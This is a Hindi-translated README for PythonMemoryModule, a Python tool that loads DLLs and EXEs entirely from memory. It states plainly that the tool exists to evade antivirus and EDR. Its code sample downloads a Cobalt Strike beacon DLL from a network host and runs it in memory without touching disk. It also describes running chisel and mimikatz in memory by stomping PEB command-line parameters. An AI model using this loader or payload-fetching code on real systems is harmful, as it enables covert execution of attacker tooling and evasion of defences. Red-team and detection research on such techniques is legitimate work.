
pure-python में MemoryModule तकनीक का कार्यान्वयन जो dll और unmanaged exe को पूरी तरह से मेमोरी से लोड करता है
मेमोरी से पूरी तरह से dll या अप्रबंधित exe लोड करने के लिए MemoryModule तकनीक का शुद्ध-पायथन कार्यान्वयन
"Python memory module" AI द्वारा उत्पन्न चित्र - hotpot.ai
PythonMemoryModule, Joachim Bauch द्वारा मूल रूप से प्रकाशित MemoryModule तकनीक का Python ctypes पोर्टिंग है। यह किसी बाहरी लाइब्रेरी (pyd) की आवश्यकता के बिना Python का उपयोग करके dll या अप्रबंधित exe लोड कर सकता है और कमांडलाइन पैरामीटर पास करने के लिए आंशिक समर्थन रखता है।
यह PE हेडर पार्स करने के लिए pefile, प्रक्रिया पैरामीटर तक पहुंचने के लिए PythonForWindows, और भारी काम के लिए ctypes का उपयोग करता है। यह उपकरण मूल रूप से Pyramid मॉड्यूल के रूप में उपयोग किए जाने के लिए सोचा गया था ताकि dll/exe पेलोड को python.exe में पूरी तरह से मेमोरी से लोड करके AV/EDR के खिलाफ चोरी प्रदान की जा सके, हालांकि अन्य उपयोग-मामले भी संभव हैं (IP सुरक्षा, pyds इन-मेमोरी लोडिंग, अन्य गुप्त तकनीकों के लिए स्पिनऑफ़) इसलिए मैंने एक समर्पित रिपॉजिटरी बनाने का निर्णय लिया।
निम्नलिखित उदाहरण में, एक Cobalt Strike स्टेजलेस बीकन dll डाउनलोड किया जाता है (डिस्क पर सहेजा नहीं गया), मेमोरी में लोड किया जाता है और एंट्रीपॉइंट को कॉल करके प्रारंभ किया जाता है।
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
नोट: यदि आप अपने मैलेबल प्रोफ़ाइल में स्टेजिंग का उपयोग करते हैं, तो dll LoadLibrary के साथ लोड नहीं हो पाएगा, इसलिए MemoryModule काम नहीं करेगा।

निम्नलिखित उदाहरण में, हम chisel को मेमोरी में निष्पादित करने के लिए कमांडलाइन पासिंग कार्यक्षमता का उपयोग करते हैं।
https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7
यह तकनीक रनटाइम पर PEB पर Commandline पैरामीटर को स्टॉम्प करके कार्यान्वित की गई है। यह हर निष्पादन योग्य के साथ काम नहीं करेगा क्योंकि यह इस बात पर निर्भर करता है कि तर्क पास करने के लिए किन फ़ंक्शनों का उपयोग किया जाता है।
सामान्यतः, सार्वभौमिक रूप से काम करने वाली तकनीक प्राप्त करने के लिए GetCommandlineA, GetCommandlineW, __getmainargs और __wgetmainargs को हुक करना आवश्यक होगा क्योंकि PEB स्टॉम्पिंग सभी मामलों को कवर नहीं करेगा, अधिक विवरण यहाँ देखें।
अपने परीक्षण के दौरान मैंने पाया कि mimikatz और कई go बाइनरी केवल PEB स्टॉम्पिंग करके काम करते हैं, दूसरी ओर, mingw और VS संकलित बाइनरी के लिए अकेले PEB स्टॉम्पिंग के माध्यम से cmdline पास करना संभवतः काम नहीं करेगा।
MemoryModule तकनीक का उपयोग करने से अधिकांशतः लक्ष्य DLL के अनुभागों की अनुमतियों का सम्मान होगा और शोरगुल वाले RWX दृष्टिकोण से बचा जा सकेगा। हालाँकि, प्रोग्राम मेमोरी के भीतर एक निजी कमिट होगा जो डिस्क पर किसी dll द्वारा समर्थित नहीं है और यह MemoryModule का एक संकेतक है।